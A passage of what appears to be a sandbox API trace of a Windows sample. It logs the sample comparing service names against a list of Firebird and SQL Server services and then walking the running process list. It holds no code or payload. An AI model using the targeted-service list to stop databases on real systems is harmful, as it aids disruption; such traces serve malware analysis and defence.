(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0067.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0067.295] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0067.295] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0067.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0067.295] lstrlenW (lpString="Schedule") returned 8 [0067.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0067.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0067.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0067.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0067.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0067.295] lstrlenW (lpString="SecurityHealthService") returned 21 [0067.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0067.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0067.295] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0067.295] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0067.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0067.295] lstrlenW (lpString="SENS") returned 4 [0067.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0067.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0067.295] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0067.295] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0067.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0067.295] lstrlenW (lpString="ShellHWDetection") returned 16 [0067.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0067.296] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0067.296] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0067.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0067.296] lstrlenW (lpString="Spooler") returned 7 [0067.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0067.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0067.296] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0067.296] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0067.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0067.296] lstrlenW (lpString="SSDPSRV") returned 7 [0067.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0067.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0067.296] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0067.296] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0067.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0067.296] lstrlenW (lpString="StateRepository") returned 15 [0067.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0067.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0067.296] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0067.296] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0067.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0067.296] lstrlenW (lpString="SysMain") returned 7 [0067.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0067.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0067.296] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0067.296] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0067.297] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7040f8 | out: hHeap=0x6a0000) returned 1 [0067.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0067.303] Process32FirstW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.304] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.304] lstrlenW (lpString="System") returned 6 [0067.304] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.305] lstrlenW (lpString="smss.exe") returned 8 [0067.305] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.306] lstrlenW (lpString="csrss.exe") returned 9 [0067.306] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.307] lstrlenW (lpString="wininit.exe") returned 11 [0067.307] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.308] lstrlenW (lpString="csrss.exe") returned 9 [0067.308] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.308] lstrlenW (lpString="winlogon.exe") returned 12 [0067.309] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.310] lstrlenW (lpString="services.exe") returned 12 [0067.310] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.311] lstrlenW (lpString="lsass.exe") returned 9 [0067.311] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.311] lstrlenW (lpString="svchost.exe") returned 11 [0067.312] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.312] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.312] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.313] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.313] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.314] lstrlenW (lpString="svchost.exe") returned 11 [0067.314] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.315] lstrlenW (lpString="dwm.exe") returned 7 [0067.315] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.316] lstrlenW (lpString="svchost.exe") returned 11 [0067.316] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.316] lstrlenW (lpString="svchost.exe") returned 11 [0067.317] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.317] lstrlenW (lpString="svchost.exe") returned 11 [0067.317] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.318] lstrlenW (lpString="svchost.exe") returned 11 [0067.318] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.319] lstrlenW (lpString="svchost.exe") returned 11 [0067.319] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.320] lstrlenW (lpString="svchost.exe") returned 11 [0067.320] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.320] lstrlenW (lpString="svchost.exe") returned 11 [0067.321] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.321] lstrlenW (lpString="svchost.exe") returned 11 [0067.321] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.322] lstrlenW (lpString="svchost.exe") returned 11 [0067.322] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0067.323] lstrlenW (lpString="spoolsv.exe") returned 11 [0067.323] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.882] lstrlenW (lpString="svchost.exe") returned 11 [0067.882] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.883] lstrlenW (lpString="svchost.exe") returned 11 [0067.883] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0067.885] lstrlenW (lpString="audiodg.exe") returned 11 [0067.885] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0067.886] lstrlenW (lpString="sihost.exe") returned 10 [0067.886] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.888] lstrlenW (lpString="svchost.exe") returned 11 [0067.888] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.889] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.889] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0067.890] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0067.891] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0067.892] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0067.892] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0067.893] lstrlenW (lpString="explorer.exe") returned 12 [0067.893] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0067.894] lstrlenW (lpString="Memory Compression") returned 18 [0067.894] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0067.895] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0067.895] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0067.896] lstrlenW (lpString="SearchUI.exe") returned 12 [0067.896] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0067.897] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0067.897] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0067.898] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0067.898] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.899] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.899] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0067.900] lstrlenW (lpString="UsoClient.exe") returned 13 [0067.901] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0067.902] lstrlenW (lpString="taskhostw.exe") returned 13 [0067.902] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0067.903] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0067.903] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0067.904] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0067.904] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0067.905] lstrlenW (lpString="msoia.exe") returned 9 [0067.905] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0067.907] lstrlenW (lpString="msoia.exe") returned 9 [0067.907] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0067.908] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0067.908] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0067.909] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0067.909] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0067.910] lstrlenW (lpString="xml-upper.exe") returned 13 [0067.910] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0067.911] lstrlenW (lpString="defeat preston.exe") returned 18 [0067.911] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0067.912] lstrlenW (lpString="surveillance.exe") returned 16 [0067.912] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0067.913] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0067.913] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0067.914] lstrlenW (lpString="deemed.exe") returned 10 [0067.914] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0067.915] lstrlenW (lpString="scored-prices.exe") returned 17 [0067.915] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0068.285] lstrlenW (lpString="understood.exe") returned 14 [0068.285] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0068.286] lstrlenW (lpString="lee.exe") returned 7 [0068.286] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0068.286] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0068.287] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0068.287] lstrlenW (lpString="romandisclosure.exe") returned 19 [0068.287] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0068.288] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0068.288] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0068.289] lstrlenW (lpString="dllhost.exe") returned 11 [0068.289] Process32NextW (in: hSnapshot=0x39c, lppe=0x24cfd2c | out: 